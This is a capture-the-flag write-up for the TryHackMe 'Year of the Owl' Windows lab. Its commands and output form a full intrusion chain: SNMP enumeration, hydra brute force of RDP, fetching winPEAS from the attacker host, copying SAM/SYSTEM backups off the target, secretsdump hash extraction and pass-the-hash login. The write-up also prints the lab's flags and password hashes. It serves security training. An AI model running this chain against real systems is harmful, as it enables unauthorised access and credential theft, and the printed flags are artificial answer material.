Year of the Owl - TryHackMe Writeup

The foolish owl sits on his throne…

##Task 1 | Flags

When the labyrinth is before you and you lose your way, sometimes thinking outside the walls is the way forward.

###Answer the questions below

Q. User Flag

Ans.

Q. Admin Flag

Ans.

##Walkthrough

Let's start with some reconnaisance, i.e. identifying open ports with Nmap -

bash

root@ip-10-49-96-173:~# nmap -p- -sV -sT 10.49.178.176 -vv
PORT      STATE SERVICE       REASON  VERSION
80/tcp    open  http          syn-ack Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1g PHP/7.4.10)
139/tcp   open  netbios-ssn   syn-ack Microsoft Windows netbios-ssn
443/tcp   open  ssl/http      syn-ack Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1g PHP/7.4.10)
445/tcp   open  microsoft-ds? syn-ack
3306/tcp  open  mysql?        syn-ack
3389/tcp  open  ms-wbt-server syn-ack Microsoft Terminal Services
5985/tcp  open  http          syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
47001/tcp open  http          syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3306-TCP:V=7.94SVN%I=7%D=7/27%Time=6A67926B%P=x86_64-pc-linux-gnu%r
SF:(NULL,6A,"f\0\0\x01\xffj\x04Host\x20'ip-10-49-96-173\.ap-south-1\.compu
SF:te\.internal'\x20is\x20not\x20allowed\x20to\x20connect\x20to\x20this\x2
SF:0MariaDB\x20server")%r(FourOhFourRequest,6A,"f\0\0\x01\xffj\x04Host\x20
SF:'ip-10-49-96-173\.ap-south-1\.compute\.internal'\x20is\x20not\x20allowe
SF:d\x20to\x20connect\x20to\x20this\x20MariaDB\x20server");
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Visiting the Web App, all we see is an Owl -

Let's run gobuster and try to enumerate any hidden directories -

bash

root@ip-10-49-96-173:~# gobuster dir -u http://10.49.178.176/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 -x php,html,txt,zip -fb 403,404
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.49.178.176/
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   403,404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php,html,txt,zip
[+] Add Slash:               true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.php/           (Status: 200) [Size: 252]
/icons/               (Status: 200) [Size: 74798]
/Index.php/           (Status: 200) [Size: 252]
/examples/            (Status: 503) [Size: 403]
/INDEX.php/           (Status: 200) [Size: 252]

Not much of use here.

SMBCLIENT denied connection as well -

bash

root@ip-10-49-96-173:~# smbclient -L \\\\10.49.178.176\\ -N
session setup failed: NT_STATUS_ACCESS_DENIED

SNMP uses two default UDP port numbers: 161 for Manager-to-Agent communication (requests and queries) and 162 for Agent-to-Manager communication.

bash

nmap -v -sU -sV -sC 10.114.186.162 -p 161,162

PORT    STATE         SERVICE  VERSION
161/udp open|filtered snmp
162/udp open|filtered snmptrap

Next, Use onesixtyone tool useful for discovering network devices and checking for weak or default SNMP configurations.

bash

root@ip-10-114-73-62:~# onesixtyone -c /usr/share/wordlists/SecLists/Discovery/SNMP/snmp-onesixtyone.txt 10.114.186.162
Scanning 1 hosts, 3218 communities
10.114.186.162 [openview] Hardware: Intel64 Family 6 Model 79 Stepping 1 AT/AT COMPATIBLE - Software: Windows Version 6.3 (Build 17763 Multiprocessor Free)

Then run snmpwalk for more SMTP enumeration

bash

snmpwalk -v 2c -c openview 10.10.91.126 1.3.6.1.4.1.77.1.2.25

Created directory: /var/lib/snmp/cert_indexes
iso.3.6.1.4.1.77.1.2.25.1.1.5.71.117.101.115.116 = STRING: "Guest"
iso.3.6.1.4.1.77.1.2.25.1.1.6.74.97.114.101.116.104 = STRING: "Jareth"
iso.3.6.1.4.1.77.1.2.25.1.1.13.65.100.109.105.110.105.115.116.114.97.116.111.114 = STRING: "Administrator"
iso.3.6.1.4.1.77.1.2.25.1.1.14.68.101.102.97.117.108.116.65.99.99.111.117.110.116 = STRING: "DefaultAccount"
iso.3.6.1.4.1.77.1.2.25.1.1.18.87.68.65.71.85.116.105.108.105.116.121.65.99.99.111.117.110.116 = STRING: "WDAGUtilityAccount"
root@ip-10-114-73-62:~#

Now, let's try brute forcing the RDP port's password using hydra

bash

hydra -l jareth -P /usr/share/wordlists/rockyou.txt rdp://10.114.186.162 -vV -f

After a while we find the credentials:

Jareth:sarah

Let's login to the RDP connection using Remmina/evil-winrm-

bash

evil-winrm -i 10.10.91.126 -u Jareth -p sarah

Then, we head to the Dekstop directory and find user flag -

powershell

    Directory: C:\Users\Jareth\Desktop

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        9/18/2020   2:21 AM             80 user.txt

*Evil-WinRM* PS C:\Users\Jareth\Desktop> type user.txt
THM{Y2I0NDJjODY2NTc2YmI2Y2U4M2IwZTBl}

Now, for the privesc part, we'll use WinPEAS -

Download winPEAS on your linux machine -

bash

root@ip-10-114-73-62:~# wget http://raw.githubusercontent.com/peass-ng/PEASS-ng/refs/heads/master/winPEAS/winPEASbat/winPEAS.bat
--2026-08-09 06:03:01--  http://raw.githubusercontent.com/peass-ng/PEASS-ng/refs/heads/master/winPEAS/winPEASbat/winPEAS.bat
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.109.133, 185.199.110.133, 185.199.111.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.109.133|:80... connected.
HTTP request sent, awaiting response... 301 Moved Permanently
Location: https://raw.githubusercontent.com/peass-ng/PEASS-ng/refs/heads/master/winPEAS/winPEASbat/winPEAS.bat [following]
--2026-08-09 06:03:01--  https://raw.githubusercontent.com/peass-ng/PEASS-ng/refs/heads/master/winPEAS/winPEASbat/winPEAS.bat
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.109.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 39493 (39K) [text/plain]
Saving to: 'winPEAS.bat'

winPEAS.bat                          100%[===================================================================>]  38.57K  --.-KB/s    in 0.001s

2026-08-09 06:03:01 (60.5 MB/s) - 'winPEAS.bat' saved [39493/39493]

Next, host the file with a python server -

bash

root@ip-10-114-73-62:~# python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

On the RDP machine, download the file locally and execute -

powershell

Invoke-WebRequest -Uri "http://10.114.73.62:8000/winPEAS.bat" -OutFile "C:\Users\Jareth\Documents\winPEAS.bat"

powershell

*Evil-WinRM* PS C:\Users\Jareth\Documents> ./winPEAS.bat

            ((,.,/((((((((((((((((((((/,  */
     ,/*,..*(((((((((((((((((((((((((((((((((,
   [i] Check if you are inside the Administrators group or if you have enabled any token that can be use to escalate privileges like SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege
   [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#users--groups

 [+] CURRENT USER
User name                    Jareth
Full Name
Comment
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            13/11/2020 22:14:25
Password expires             Never
Password changeable          13/11/2020 22:14:25
Password required            Yes
User may change password     Yes

Workstations allowed          All
Logon script
User profile
Home directory
Last logon                   09/08/2026 07:03:57

Logon hours allowed          All

Local Group Memberships      *Remote Management Use*Users
Global Group memberships     *None
The command completed successfully.

The request will be processed at a domain controller for domain WORKGROUP.

USER INFORMATION
----------------

User Name              SID
====================== =============================================
year-of-the-owl\jareth S-1-5-21-1987495829-1628902820-919763334-1001

GROUP INFORMATION
-----------------

Group Name                             Type             SID          Attributes
====================================== ================ ============ ==================================================
Everyone                               Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users        Alias            S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                          Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                   Well-known group S-1-5-2      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users       Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization         Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account             Well-known group S-1-5-113    Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication       Well-known group S-1-5-64-10   Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label            S-1-16-8192

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

 [+] USERS

User accounts for \\

-------------------------------------------------------------------------------
Administrator            DefaultAccount           Guest
Jareth                   WDAGUtilityAccount
The command completed with one or more errors.

 [+] GROUPS

Aliases for \\YEAR-OF-THE-OWL

-------------------------------------------------------------------------------
*Access Control Assistance Operators
*Administrators
*Backup Operators
*Certificate Service DCOM Access
*Cryptographic Operators
*Device Owners
*Distributed COM Users
*Event Log Readers
*Guests
*Hyper-V Administrators
*IIS_IUSRS
*Network Configuration Operators
*Performance Log Users
*Performance Monitor Users
*Power Users
*Print Operators
*RDS Endpoint Servers
*RDS Management Servers
*RDS Remote Access Servers
*Remote Desktop Users
*Remote Management Users
*Replicator
*Storage Replica Administrators
*System Managed Accounts Group
*Users
The command completed successfully.

 [+] ADMINISTRATORS GROUPS
Alias name     Administrators
Comment        Administrators have complete, unrestricted access to the computer/domain

Members

-------------------------------------------------------------------------------
Administrator
The command completed successfully.

 [+] CURRENT LOGGED USERS
winPEAS.bat : No User exists for *
    + CategoryInfo          : NotSpecified: (No User exists for *:String) [], RemoteException
    + FullyQualifiedErrorId : NativeCommandError

---
Scan complete.
 [+] Kerberos Tickets

Current LogonId is 0:0xeb2140
Error calling API LsaCallAuthenticationPackage (ShowTickets substatus): 1312

klist failed with 0xc000005f/-1073741729

 [+] GPP Password

 [+] Cloud Credentials

 [+] AppCmd
   [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#appcmdexe

 [+] Files in registry that may contain credentials
   [i] Searching specific files that may contains credentials.
   [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#files-and-registry-credentials
Looking inside HKCU\Software\ORL\WinVNC3\Password
Looking inside HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4/password
Looking inside HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\WinLogon
    DefaultDomainName    REG_SZ
    DefaultUserName    REG_SZ
Looking inside HKLM\SYSTEM\CurrentControlSet\Services\SNMP

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SNMP
    Description    REG_SZ    @firewallapi.dll,-50304
    DisplayName    REG_SZ    @firewallapi.dll,-50303
    ErrorControl    REG_DWORD    0x1
    FailureActions    REG_BINARY    80510100000000000000000003000000140000000100000060EA00000100000060EA00000000000000000000
    ImagePath    REG_EXPAND_SZ    %SystemRoot%\System32\snmp.exe
    ObjectName    REG_SZ    LocalSystem
    RequiredPrivileges    REG_MULTI_SZ    SeChangeNotifyPrivilege\0SeSecurityPrivilege\0SeDebugPrivilege
    ServiceSidType    REG_DWORD    0x1
    Start    REG_DWORD    0x2
    Type    REG_DWORD    0x10

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SNMP\Parameters
    EnableAuthenticationTraps    REG_DWORD    0x1
    NameResolutionRetries    REG_DWORD    0x10

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SNMP\Parameters\ExtensionAgents

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SNMP\Parameters\PermittedManagers
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SNMP\Parameters\RFC1156Agent
    sysContact    REG_SZ
    sysLocation    REG_SZ
    sysServices    REG_DWORD    0x4c

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SNMP\Parameters\ValidCommunities
Looking inside HKCU\Software\TightVNC\Server
Looking inside HKCU\Software\SimonTatham\PuTTY\Sessions
Looking inside HKCU\Software\OpenSSH\Agent\Keys
C:\ProgramData\Amazon\EC2-Windows\Launch\Sysprep\Unattend.xml
C:\Users\All Users\Amazon\EC2-Windows\Launch\Sysprep\Unattend.xml
C:\Windows\Panther\setupinfo
C:\Windows\servicing\LCU\Package_for_RollupFix~31bf3856ad364e35~amd64~~17763.1457.1.7\amd64_microsoft-windows-i..raries-servercommon_31bf3856ad364e35_10.0.17763.1192_none_f73703fe41c6569b\f\appcmd.exe
C:\Windows\servicing\LCU\Package_for_RollupFix~31bf3856ad364e35~amd64~~17763.1457.1.7\amd64_microsoft-windows-i..raries-servercommon_31bf3856ad364e35_10.0.17763.1192_none_f73703fe41c6569b\r\appcmd.exe
C:\Windows\servicing\LCU\Package_for_RollupFix~31bf3856ad364e35~amd64~~17763.1457.1.7\wow64_microsoft-windows-i..raries-servercommon_31bf3856ad364e35_10.0.17763.1192_none_018bae5076271896\f\appcmd.exe
C:\Windows\servicing\LCU\Package_for_RollupFix~31bf3856ad364e35~amd64~~17763.1457.1.7\wow64_microsoft-windows-i..raries-servercommon_31bf3856ad364e35_10.0.17763.1192_none_018bae5076271896\r\appcmd.exe
C:\Windows\WinSxS\amd64_ipamprov-dcnps_31bf3856ad364e35_10.0.17763.1_none_90fd9849ea1e4266\ScheduledTasks.xml
C:\Windows\WinSxS\amd64_ipamprov-dhcp_31bf3856ad364e35_10.0.17763.1_none_64f02b544b2506ef\ScheduledTasks.xml
C:\Windows\WinSxS\amd64_ipamprov-dns_31bf3856ad364e35_10.0.17763.1_none_825235baef207c8d\ScheduledTasks.xml
C:\Windows\WinSxS\amd64_microsoft-windows-d..rvices-domain-files_31bf3856ad364e35_10.0.17763.1_none_8bd0f81f9b897a08\ntds.dit
C:\Windows\WinSxS\amd64_microsoft-windows-i..raries-servercommon_31bf3856ad364e35_10.0.17763.1192_none_f73703fe41c6569b\appcmd.exe
C:\Windows\WinSxS\amd64_microsoft-windows-i..raries-servercommon_31bf3856ad364e35_10.0.17763.1_none_9a517574c8380381\appcmd.exe
C:\Windows\WinSxS\amd64_microsoft-windows-webenroll.resources_31bf3856ad364e35_10.0.17763.1_en-us_742f5bf0baaff2c7\certnew.cer
C:\Windows\WinSxS\wow64_ipamprov-dcnps_31bf3856ad364e35_10.0.17763.1_none_9b52429c1e7f0461\ScheduledTasks.xml
C:\Windows\WinSxS\wow64_ipamprov-dhcp_31bf3856ad364e35_10.0.17763.1_none_6f44d5a67f85c8ea\ScheduledTasks.xml
C:\Windows\WinSxS\wow64_ipamprov-dns_31bf3856ad364e35_10.0.17763.1_none_8ca6e00d23813e88\ScheduledTasks.xml
C:\Windows\WinSxS\wow64_microsoft-windows-i..raries-servercommon_31bf3856ad364e35_10.0.17763.1192_none_018bae5076271896\appcmd.exe
C:\Windows\WinSxS\wow64_microsoft-windows-i..raries-servercommon_31bf3856ad364e35_10.0.17763.1_none_a4a61fc6fc98c57c\appcmd.exe

---
Scan complete.
 [+] CURRENT CLIPBOARD
   [i] Any passwords inside the clipboard?

[*] SERVICE VULNERABILITIES

 [+] AppCmd
   [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#appcmdexe

 [+] Files in registry that may contain credentials
   [i] Searching specific files that may contains credentials.
   [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#files-and-registry-credentials
Looking inside HKCU\Software\ORL\WinVNC3\Password
Looking inside HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4/password
Looking inside HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\WinLogon
    DefaultDomainName    REG_SZ
    DefaultUserName    REG_SZ
Looking inside HKLM\SYSTEM\CurrentControlSet\Services\SNMP

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SNMP
    Description    REG_SZ    @firewallapi.dll,-50304
    DisplayName    REG_SZ    @firewallapi.dll,-50303
    ErrorControl    REG_DWORD    0x1
    FailureActions    REG_BINARY    80510100000000000000000003000000140000000100000060EA00000100000060EA00000000000000000000
    ImagePath    REG_EXPAND_SZ    %SystemRoot%\System32\snmp.exe
    ObjectName    REG_SZ    LocalSystem
    RequiredPrivileges    REG_MULTI_SZ    SeChangeNotifyPrivilege\0SeSecurityPrivilege\0SeDebugPrivilege
    ServiceSidType    REG_DWORD    0x1
    Start    REG_DWORD    0x2
    Type    REG_DWORD    0x10

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SNMP\Parameters
    EnableAuthenticationTraps    REG_DWORD    0x1
    NameResolutionRetries    REG_DWORD    0x10

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SNMP\Parameters\ExtensionAgents

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SNMP\Parameters\PermittedManagers
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SNMP\Parameters\RFC1156Agent
    sysContact    REG_SZ
    sysLocation    REG_SZ
    sysServices    REG_DWORD    0x4c

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SNMP\Parameters\ValidCommunities
Looking inside HKCU\Software\TightVNC\Server
Looking inside HKCU\Software\SimonTatham\PuTTY\Sessions
Looking inside HKCU\Software\OpenSSH\Agent\Keys

S-1–5–21–1987495829–1628902820–919763334–1001 is a Security Identifier (SID) in Windows. It uniquely identifies a user, group, or system account.

We'll Recycle Bin Using SID:

powershell

cd 'C:\$Recycle.Bin\S-1-5-21-1987495829-1628902820-919763334-1001'

    Directory: C:\$Recycle.Bin\S-1-5-21-1987495829-1628902820-919763334-1001
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        9/18/2020   7:28 PM          49152 sam.bak
-a----        9/18/2020   7:28 PM       17457152 system.bak

These are backup files of the Windows SAM (Security Account Manager) and SYSTEM registry hives. Let's copy them out -

powershell

cp sam.bak C:\Users\Jareth\Documents
cp system.bak C:\Users\Jareth\Documents

And now, download it to our linux machine -

powershell

cd C:\Users\Jareth\Documents
download sam.bak
download system.bak

Once the files are on your local machine, use secretsdump to extract the administrator hash. After retrieving the hash, leverage Evil-WinRM to establish a session as the administrator and gain access to the system.

bash

root@ip-10-114-73-62:~# impacket-secretsdump -sam /root/sam.bak -system /root/system.bak LOCAL
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies

[*] Target system bootKey: 0xd676472afd9cc13ac271e26890b87a8c
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:6bc99ede9edcfecf9662fb0c0ddcfa7a:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:39a21b273f0cfd3d1541695564b4511b:::
Jareth:1001:aad3b435b51404eeaad3b435b51404ee:5a6103a83d2a94be8fd17161dfd4555a:::
[*] Cleaning up...
root@ip-10-114-73-62:~#

Now, we'll login as Administrator -

bash

root@ip-10-114-73-62:~# evil-winrm -i 10.114.186.162 -u Administrator -H 6bc99ede9edcfecf9662fb0c0ddcfa7a

Evil-WinRM shell v3.9

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>

Head over to desktop and we have our root flag -

powershell

Evil-WinRM* PS C:\Users\Administrator\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> ls

    Directory: C:\Users\Administrator\Desktop

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        9/18/2020   2:19 AM             80 admin.txt

*Evil-WinRM* PS C:\Users\Administrator\Desktop> type admin.txt
THM{YWFjZTM1MjFiZmRiODgyY2UwYzZlZWM2}